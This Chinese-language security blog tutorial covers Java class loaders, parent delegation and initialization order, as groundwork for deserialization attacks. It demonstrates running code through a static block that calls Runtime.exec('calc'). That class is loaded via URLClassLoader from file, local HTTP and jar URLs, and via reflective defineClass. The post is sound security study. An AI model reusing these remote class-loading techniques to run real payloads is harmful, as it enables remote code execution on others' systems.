avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化基础4——类的动态加载
文章

Java反序列化基础4——类的动态加载

Posted 2025-08-18 Updated 2025-08- 18
By Administrator
33~42 min read

参考文章

类加载器详解(重点)

首先简单介绍一下类加载过程

  • 类加载过程:加载->连接->初始化

  • 连接过程又可分为三步:验证->准备->解析

类加载器

简单来说,类加载器的主要作用就是动态加载 Java 类的字节码( .class 文件)到 JVM 中(在内存中生成一个代表该类的 Class 对象)。 字节码可以是 Java 源程序(.java文件)经过 javac 编译得来,也可以是通过工具动态生成或者通过网络下载得来。

类加载器规则

JVM启动的时候,并不会一次性加载所有的类,而是根据需要去动态加载。也就是说,大部分类在具体用到的时候才会去动态加载,这样对内存更加友好。

对于已经加载的类会被放在 ClassLoader 中。在类加载的时候,系统会首先判断当前类是否被加载过。已经被加载的类会直接返回,否则才会尝试加载。也就是说,对于一个类加载器来说,相同二进制名称的类只会被加载一次。

public abstract class ClassLoader {
  ...
  private final ClassLoader parent;
  // 由这个类加载器加载的类。
  private final Vector<Class<?>> classes = new Vector<>();
  // 由VM调用,用此类加载器记录每个已加载类。
  void addClass(Class<?> c) {
        classes.addElement(c);
   }
  ...
}

类加载器总结

JVM 中内置了三个重要的 ClassLoader:

  • BootstrapClassLoader(启动类加载器):最顶层的加载类,由 C++实现,通常表示为 null,并且没有父级,主要用来加载 JDK 内部的核心类库( %JAVA_HOME%/lib目录下的 rt.jar、resources.jar、charsets.jar等 jar 包和类)以及被 -Xbootclasspath参数指定的路径下的所有类。

  • ExtensionClassLoader(扩展类加载器):主要负责加载 %JRE_HOME%/lib/ext 目录下的 jar 包和类以及被 java.ext.dirs 系统变量所指定的路径下的所有类。

  • AppClassLoader(应用程序类加载器):面向我们用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。

除了这三种类加载器之外,用户还可以加入自定义的类加载器来进行拓展,以满足自己的特殊需求

举个例子

package org.example;

public class PrintClassLoaderTree {

    public static void main(String[] args) {

        ClassLoader classLoader = PrintClassLoaderTree.class.getClassLoader();

        StringBuilder split = new StringBuilder("|--");
        boolean needContinue = true;
        while (needContinue){
            System.out.println(split.toString() + classLoader);
            if(classLoader == null){
                needContinue = false;
            }else{
                classLoader = classLoader.getParent();
                split.insert(0, "\t");
            }
        }
    }

}

输出结果:

由此可知:

  • 我们编写的Java类 PrintClassLoaderTree的ClassLoader 是AppClassLoader;

  • AppClassLoader的父 ClassLoader 是PlatformClassLoader;

  • PlatformClassLoader的父ClassLoader是Bootstrap ClassLoader,因此输出结果为 null(因为BootstrapClassLoader 由 C++ 实现,由于这个 C++ 实现的类加载器在 Java 中是没有与之对应的类的,所以拿到的结果是 null。)

注:PlatformClassLoader 是 Java 9 引入的模块化系统(Jigsaw)后新增的重要类加载器,取代了原来的扩展类加载器(Extension ClassLoader)。

双亲委派机制

  • ClassLoader类通过委托模型来搜索类和资源

  • 双亲委派模型要求除了顶层的启动类加载器外,其余的类加载器都应有自己的父类加载器。

  • ClassLoader实例会在试图亲自查找类或资源之前,将搜索类或资源的任务委托给其父类加载。

下图展示的各种类加载器之间的层次关系被称为类加载器的“双亲委派模型(Parents Delegation Model)”。

执行流程

双亲委派模型的实现代码非常简单,逻辑非常清晰,都集中在 java.lang.ClassLoader 的 loadClass() 中,相关代码如下所示。

protected Class<?> loadClass(String name, boolean resolve)
    throws ClassNotFoundException
{
    synchronized (getClassLoadingLock(name)) {
        //首先,检查该类是否已经加载过
        Class c = findLoadedClass(name);
        if (c == null) {
            //如果 c 为 null,则说明该类没有被加载过
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    //当父类的加载器不为空,则通过父类的loadClass来加载该类
                    c = parent.loadClass(name, false);
                } else {
                    //当父类的加载器为空,则调用启动类加载器来加载该类
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                //非空父类的类加载器无法找到相应的类,则抛出异常
            }

            if (c == null) {
                //当父类加载器无法加载时,则调用findClass方法来加载该类
                //用户可通过覆写该方法,来自定义类加载器
                long t1 = System.nanoTime();
                c = findClass(name);

                //用于统计类加载器相关的信息
                sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }
        if (resolve) {
            //对类进行link操作
            resolveClass(c);
        }
        return c;
    }
}

每当一个类加载器接收到加载请求时,它会先将请求转发给父类加载器。在父类加载器没有找到所请求的类的情况下,该类加载器才会尝试去加载。

各场景下代码块加载顺序

这里的代码块主要指的是这四种

  • 静态代码块:static{}

  • 构造代码块:{}

  • 无参构造器:ClassName()

  • 有参构造器:ClassName(String name)

场景一:实例化对象


// 存放代码块
public class Person {
    public static int staticVar;
    public int instanceVar;

    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    Person(){
        System.out.println("无参构造器");
    }
    Person(int instanceVar){
        System.out.println("有参构造器");
    }

    public static void staticAction(){
        System.out.println("静态方法");
    }
}
public class Main {
    public static void main(String[] args) {
        Person person = new Person();
    }
}

运行结果:

通过 new 关键字实例化的对象,先调用静态代码块,然后调用构造代码块,最后根据实例化方式不同,调用不同的构造器

场景二:调用静态方法

public class Main {
    public static void main(String[] args) {
        Person.staticAction();
    }
}

不实例化对象直接调用静态方法,会先调用类中的静态代码块,然后调用静态方法

场景三:对类中的静态成员变量赋值

public class Main {
    public static void main(String[] args) {
        Person.staticVar = 1;
    }
}

在对静态成员变量赋值前,会调用静态代码块

场景四:使用class获取类

public class Main {
    public static void main(String[] args) {
        Class c = Person.class;
    }
}

利用 class 关键字获取类,并不会加载类,也就是什么也不会输出。

场景五:使用forName获取类

public class Main {
    public static void main(String[] args) throws ClassNotFoundException{
        Class.forName("org.example.Person");
    }
}

public class Main {
    public static void main(String[] args) throws ClassNotFoundException{
        Class.forName("org.example.Person", false, ClassLoader.getSystemClassLoader());
    }
}//无输出

如果将第二个参数设置为false,那么就不会调用静态代码

场景六:使用 ClassLoader.loadClass() 获取类

public class Main {
    public static void main(String[] args) throws ClassNotFoundException{
        Class.forName("org.example.Person", false, ClassLoader.getSystemClassLoader());
    }
}//无输出

ClassLoader.loadClass()方法不会进行类的初始化

利用URLClassLoader加载远程class文件

正常情况下java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径来寻找.class文件来加载,而这个基础路径又分为三种情况

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。

file协议

// URLClassLoader 的 file 协议
public class Calc {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

编译后会生成.class文件

package org.example;

import java.net.URL;
import java.net.URLClassLoader;

public class FileRce {
    public static void  main(String[] args) throws Exception{
        URLClassLoader urlClassLoader=new URLClassLoader
                (new URL[]{new URL("file:///D:\\text\\codeqltext2\\untitled\\target\\classes\\org\\example\\")});
        //Calc.class文件地址
        Class calc =urlClassLoader.loadClass("org.example.Calc");
        calc.newInstance();
    }
}

运行之后弹出计算器

HTTP协议

在Calc.class文件目录下执行python3 -m http.server 9999,起一个http服务

package org.example;

import java.net.URL;
import java.net.URLClassLoader;

public class HTTPRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
        Class calc = urlClassLoader.loadClass("org.example.Calc");
        calc.newInstance();
    }
}

file+jar协议

先将Calc.class打包为jar文件

package org.example;

import java.net.URL;
import java.net.URLClassLoader;

public class JarRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///D:\\text\\codeqltext2\\untitled\\target\\classes\\org\\example\\Calc.jar!/")});
        Class calc = urlClassLoader.loadClass("org.example.Calc");
        calc.newInstance();}

}

HTTP + jar 协议

package org.example;

import java.net.URL;
import java.net.URLClassLoader;

public class HTTPJarRce {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
        Class calc = urlClassLoader.loadClass("org.example.Calc");
        calc.newInstance();
    }
}

利用ClassLoader#defineClass直接加载字节码

不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面三个方法的调用

  • loadClass()的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法

  • findClass()根据URL指定的方式来加载类的字节码,其中会调用defineClass();

  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类,所以可见,真正的核心部分其实是defineClass(),它决定了如何将一段字节流转变成一个Java类。

protected final Class<?> defineClass(String name, byte[] b, int off, int len)

name 为类名,b为字节码数组,off为偏移量,len为字节码数组的长度

因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用defineClass()方法进行字节码的加载,然后实例化之后即可弹shell。

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

// 利用 ClassLoader#defineClass 直接加载字节码
public class DefineClassRce {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\text\\codeqltext2\\untitled\\target\\classes\\org\\example\\Calc.class")); // 字节码的数组
        Class c = (Class) method.invoke(classLoader, "org.example.Calc", code, 0, code.length);
        c.newInstance();
    }
}

这里首先遇到了一个报错,gpt查一下说是由于 Java 9 及以上版本引入的模块系统(JPMS) 导致的。默认情况下,java.base 模块不对外开放 java.lang 包,而某些库(如 CGLIB、ASM 或旧版反射工具)试图通过反射访问 ClassLoader.defineClass,从而触发此错误。

所以要添加JVM参数

--add-opens=java.base/java.lang=ALL-UNNAMED

报错解决,成功弹出计算器。

使用ClassLoader#defineClass直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);,这在平常的反射中是无法调用的。

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

模仿星露谷物语的游戏开发实践

NEWER

Java反序列化Commons-Collections01-CC1链(TransformMap )

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy